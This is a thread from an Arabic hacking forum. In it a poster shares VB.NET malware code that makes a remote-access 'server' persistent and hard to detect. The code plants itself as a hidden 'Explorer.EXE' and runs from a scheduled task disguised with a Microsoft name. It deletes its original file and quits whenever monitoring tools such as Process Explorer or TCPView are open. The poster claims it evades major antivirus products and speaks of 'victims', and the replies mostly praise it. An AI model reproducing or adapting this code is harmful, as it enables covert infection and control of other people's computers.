1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ تلغيم ] كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

الموضوع في 'حماية الأجهزة' بواسطة ✶ s c я є α м, بتاريخ ‏20 يونيو 2015.

كاتب الموضوع : ✶ s c я є α м المشاهدات : 2,593 الردود : 55 ‏20 يونيو 2015
حالة الموضوع:
مغلق
  1. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    739
    نقاط الجائزة:
    الإقامة:

    الســــلام عليكــم ورحمة الله وبركـــاته


    » الصلاة والسلام على أشرف المرسليـن ...~
    » الحمد لله وحده نحمده ونشكره ونستعينه ونستغفره ونعود بالله من شرور أنفسنا و من سيئات أعمالنا ...~
    » من يهده الله فلا مظل له ومن يظلل فلن تجد له ولياً مرشدا ...~
    » وأشهد لا اله الا الله وحده لا شريك له وأن محمداً عبده ورسوله صلى الله عليه و سلم ...~
    » وعلى آله وصحبه أجمعين ومن تبعهم بإحسان إلى يوم الدين ...~
    » ربنا لا علم لنا إلا ما علمتنا إنك أنت العليم الخبير ...~
    » ربنا لا فهم لنا إلا ما فهمتنا إنك أنت الجواد الكريم ...~
    » ربي اشرح لي صدري ويسر لي أمري واحلل عقدة من لساني يفقهوا قولي ...~

    كيف حالكم اعضاء وزوأر المنتدى انشالله بخير

    سأقدم لكم سطر واحد يتحدأ الدفاعات الاستباقيه وجميع برامج مراقبة المسارات
    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]


    لأبد من اللغاء التثبيتات من السيرفر ويحل مكان التثبيت هاذا السطر وسلم لي على الدفاعات الاستباقيه {2$0}

    وهو الكود بلغة
    Vb.net

    [CODEE]S h e l l("schtasks /create /sc minute /mo 1 /tn Microsoft-Corporation-0x7ffdc000 /tr " & Application.ExecutablePath, AppWinStyle.Hide)[/CODEE]

    mo1>> تعني الوقت واحد دقيقه
    Microsoft-Corporation-0x7ffdc000>> تعني الاسم
    حط هاذا الكود في
    Form1_Load وسوف تنتهي ازمة تخطي الدفاعات الاستباقيه وبرامج مراقبة المسار

    والان مع الكود السحري :ُeُ!e1:

    كود:
    Imports System.IO
    Public Class Form1
     
        '▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░▒▒▒▒░░░▒▒▒▒░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░▒▒▒▒▒▒░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒░░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒░░░░░░░░░▓▓
        '▓▓░░░░░░S A U D░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
        '▓▓░░░░░░S C R E A M░░░░░░░░░░░▒▒▒░▒▒▒░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░▓▓
        '▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        '_______▒__________▒▒▒▒▒▒▒▒▒▒▒▒▒▒
        '______▒_______________▒▒▒▒▒▒▒▒
        '_____▒________________▒▒▒▒▒▒▒▒
        '____▒___________▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
        '___▒
        '__▒______▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        '_▒______▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓
        '▒▒▒▒___▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓
        '▒▒▒▒__▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓
        '▒▒▒__▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        Dim PC As String
        Public Function IsFolderOpen(ByVal FolderPath As String) As Boolean
            Dim Sew As Object = CreateObject("S h e l l.application")
            For Each Sew1 In Sew.Windows
                If Sew1.document.folder.self.Path.ToString.ToLower = FolderPath.ToLower Then
                    Return True
                End If
            Next
            Return False
        End Function
        Dim X8$ = My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\Explorer.EXE"
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            On Error Resume Next
     
            'Me.Hide()
            'Me.ShowIcon = 0 < 0 > 0
            'Me.ShowInTaskbar = 0 < 0 > 0
     
     
     
            ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
     
     
     
     
            ' هنا تضع استدعاء لخورزميتك الخاصه   لسيرفر 
     
     
     
     
            ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
     
            PC = System.Environment.UserName
            Timer1.Enabled = True
            Timer1.Interval = 1
            If File.Exists(X8) Then
                '???
            Else
                System.IO.Directory.CreateDirectory("C:\Users\" + PC + "\Documents\" + "Resources")
                File.Copy(Application.ExecutablePath, X8)
                System.IO.File.SetAttributes(X8, IO.FileAttributes.Hidden)
                S h e l l("schtasks /create /sc minute /mo 1 /tn Microsoft-Corporation-0x7ffdc000 /tr " & X8, AppWinStyle.Hide)
                S h e l l("cmd.exe /k ping google.com & del " & ChrW(34) & Application.ExecutablePath & ChrW(34) & " & exit", AppWinStyle.Hide)
     
                End
            End If
     
     
     
        End Sub
    #Region "Start" '<<S C>>
        Sub scream0_1_2_3()
            On Error Resume Next
            If IsFolderOpen(My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources") = True Then
                My.Computer.FileSystem.RenameFile(X8, "desktop1.ini")
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\desktop1.ini", My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktop2.ini")
            Else
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktop2.ini", My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\Explorer.EXE")
            End If
            If IsFolderOpen(My.Computer.FileSystem.SpecialDirectories.MyDocuments) = True Then
                My.Computer.FileSystem.RenameFile(X8, "desktopp1.ini")
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\desktopp1.ini", My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktopp2.ini")
            Else
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktopp2.ini", My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\Explorer.EXE")
            End If
        End Sub
    #End Region
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            On Error Resume Next
            Call scream0_1_2_3()
            If My.Computer.Network.IsAvailable = False Then
                End
            End If
            Dim P22 As New Process
            For Each P22 In Process.GetProcesses
                If P22.MainWindowTitle.Contains("ApateDNS") Then
                    End
                End If
            Next
     
            Dim P33 As New Process
            For Each P33 In Process.GetProcesses
                If P33.MainWindowTitle.Contains("cports") Then
                    End
                End If
            Next
            Dim P As New Process
            For Each P In Process.GetProcesses
                If P.MainWindowTitle.Contains("Process Explorer") Then
                    End
                End If
            Next
     
            Dim P1 As New Process
            For Each P1 In Process.GetProcesses
                If P1.MainWindowTitle.Contains("Process Hacker") Then
                    End
                End If
            Next
            Dim P2 As New Process
            For Each P2 In Process.GetProcesses
                If P2.MainWindowTitle.Contains("COMODO KillSwitch") Then
                    End
                End If
            Next
            Dim we() As Process = System.Diagnostics.Process.GetProcessesByName("taskmgr")
            For Each g As Process In we
                End
            Next
            Dim we1() As Process = System.Diagnostics.Process.GetProcessesByName("Tcpvcon")
            For Each g1 As Process In we1
                End
            Next
            Dim P3 As New Process
            For Each P3 In Process.GetProcesses
                If P3.MainWindowTitle.Contains("imon") Then
                    End
                End If
            Next
     
            Dim P4 As New Process
            For Each P4 In Process.GetProcesses
                If P4.MainWindowTitle.Contains("HeapMemView") Then
                    End
                End If
            Next
     
            Dim P5 As New Process
            For Each P5 In Process.GetProcesses
                If P5.MainWindowTitle.Contains("SmartSniff") Then
                    End
                End If
            Next
     
            Dim P6 As New Process
            For Each P6 In Process.GetProcesses
                If P6.MainWindowTitle.Contains("SocketSniff") Then
                    End
                End If
            Next
     
            Dim P7 As New Process
            For Each P7 In Process.GetProcesses
                If P7.MainWindowTitle.Contains("TCPEye V 1.0") Then
                    End
                End If
            Next
     
            Dim P8 As New Process
            For Each P8 In Process.GetProcesses
                If P8.MainWindowTitle.Contains("TCPView") Then
                    End
                End If
            Next
     
            Dim P9 As New Process
            For Each P9 In Process.GetProcesses
                If P9.MainWindowTitle.Contains("X-NetStat Professional 5.61") Then
                    End
                End If
            Next
     
            Dim P10 As New Process
            For Each P10 In Process.GetProcesses
                If P10.MainWindowTitle.Contains("Tcpvcon") Then
                    End
                End If
            Next
     
            Dim P11 As New Process
            For Each P11 In Process.GetProcesses
                If P11.MainWindowTitle.Contains("Process Monitor") Then
     
                    End
                End If
            Next
            Dim P12 As New Process
            For Each P12 In Process.GetProcesses
                If P12.MainWindowTitle.Contains("Process") Then
     
                    End
                End If
            Next
        End Sub
    End Class
    1- لايوجد أثار تثبيت في الرجستري او الستارت اب او بدء التشغيل أبدا ولا يمكن لحماية ان ترصد مكانه !! لكن بتقولي كيف الضحيه راح يختفي بعد الرستارت ؟؟؟ لا لن يختفي سوف يرجع بعد الرست

    2-اثنى تشغيل السيرفر سوف يحذف نفسه من الجهاز ولا يمكن لبرامج الفحص رصد تحركاته

    3- عندما تقوم بتشغيل اية برنامج فحص فلن تحصل على اية نتايج في الكشف ولا اية اتصالات

    السيرفر سوف يعمل متى !! اذا تحقق انه لايوجد برنامج فحص شغال على النظام سوف يعمل ويوصل تبليغ لكن كيف يتحقق اكيد بتكون العمليه شغاله وهاذا يجلب الشك هههه لا لن تكون اية عمليه شغاله وبدوون حقن كمان

    لايظهر في البروسيس لايظهر في الاتصالات لايظهر في باقي برامج الفحص الاكثر استخدام وشهره

    وانسى استخدام تثبيت اللينك او النسخ او او او كلها لاتنفع في الوقت الحالي !! بعد تطور الحمايات

    والكود يتخطى جميع الدفاعات الاستباقيه انا اتكلم هنا عن الدفاع وليس التشفير <<
    تمت تجربته

    على النود
    على افيرا
    على افاست
    على الكاسبر
    على 360
    على
    Avg
    على النورتن
    وحمايات اخره ضعيفه
    وبرااامج الفحص الاكثر شهره

    وهاذا شرح

    [YOUTUBE]utgc8pyDQoo[/YOUTUBE]

    ولتحميل ايقونــة Explorer تحصلها في أعلى الموضوع {1!$1}
    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]
    الكود
     


    آخر تعديل بواسطة المشرف: ‏24 يونيو 2015
    جاري تحميل الصفحة...
  2. غير متصل

    Wolf Hex
    DeveloPer Plus

    عضو منذ:
    ‏24 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الوظيفة:
    Student
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    {1!$7}وعليكم السلام ورحمه الله وبركاته{1!$7}
    اول رد محجوز يعطيك العافيه
    سكريم دومهة مواضيعك دهبيه
    [​IMG]

     


  3. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    739
    نقاط الجائزة:
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New



    منور ياغالي ورده لك ً#ٌ5oًًًُ.
     


  4. غير متصل

    علي الواسطي
    DeveloPer Plus

    عضو منذ:
    ‏13 يناير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    الوظيفة:
    طالب
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    وعليكم السلام
    عاشت الايادي مبدع دومك
     


  5. غير متصل

    عـقرب الـنجف
    DeveloPer Plus

    عضو منذ:
    ‏5 يونيو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    169
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    عاشت الايادي حبيبي
    دومك مبدع يا بطل
    كل يوم موضوع ذهبي جديد
    لا تحرمنا من مواضيعك يا وحش
    تقبل مروري
     


  6. غير متصل

    king targets
    rank
    Developer

    عضو منذ:
    ‏20 يونيو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    بما اني موقوف في ديف سجلت هنا خصيصا لاشكرك حبيبي

    فعلا الكود جهنمي وانت قلبت موازين الاختراق على عقب


    بخصوص استدعاء الخوارزيمة السيرفر كيف يكون الكود


    يعني استغني عن النسخ في الريجسيتر والستارتب برمجي كذلك
     


  7. غير متصل

    العراقي الشهم
    rank
    Developer

    عضو منذ:
    ‏20 يونيو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    اول رد لي في هذا الصرح الشامخ {3$0}
    ياسلام عليك كود خطير فعلا {1!$2}
     


  8. غير متصل

    Microsoft
    V • I • P

    عضو منذ:
    ‏26 أكتوبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    وعليكم السلام ورحمة الله وبركآته ..

    تسلم يداك يابطل ..

    جـميـل جدآآآ يعـطيك العافية ..
     


  9. غير متصل

    Legend_Killer
    rankrank
    Developer

    عضو منذ:
    ‏6 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    الوظيفة:
    طَالب..~
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    مشکوووووور یا اخی
     


  10. غير متصل

    !»°بہًكہًر الہًعہًراقہًي°«! أداري أقسام حماية الأجهزة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1,478
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:

    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    دائما تبهرنا بمواضيعك الاكثر مو جميله وحصريه تابع ابداعك ولاتحرمنا من جديدك تقبل مروري
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...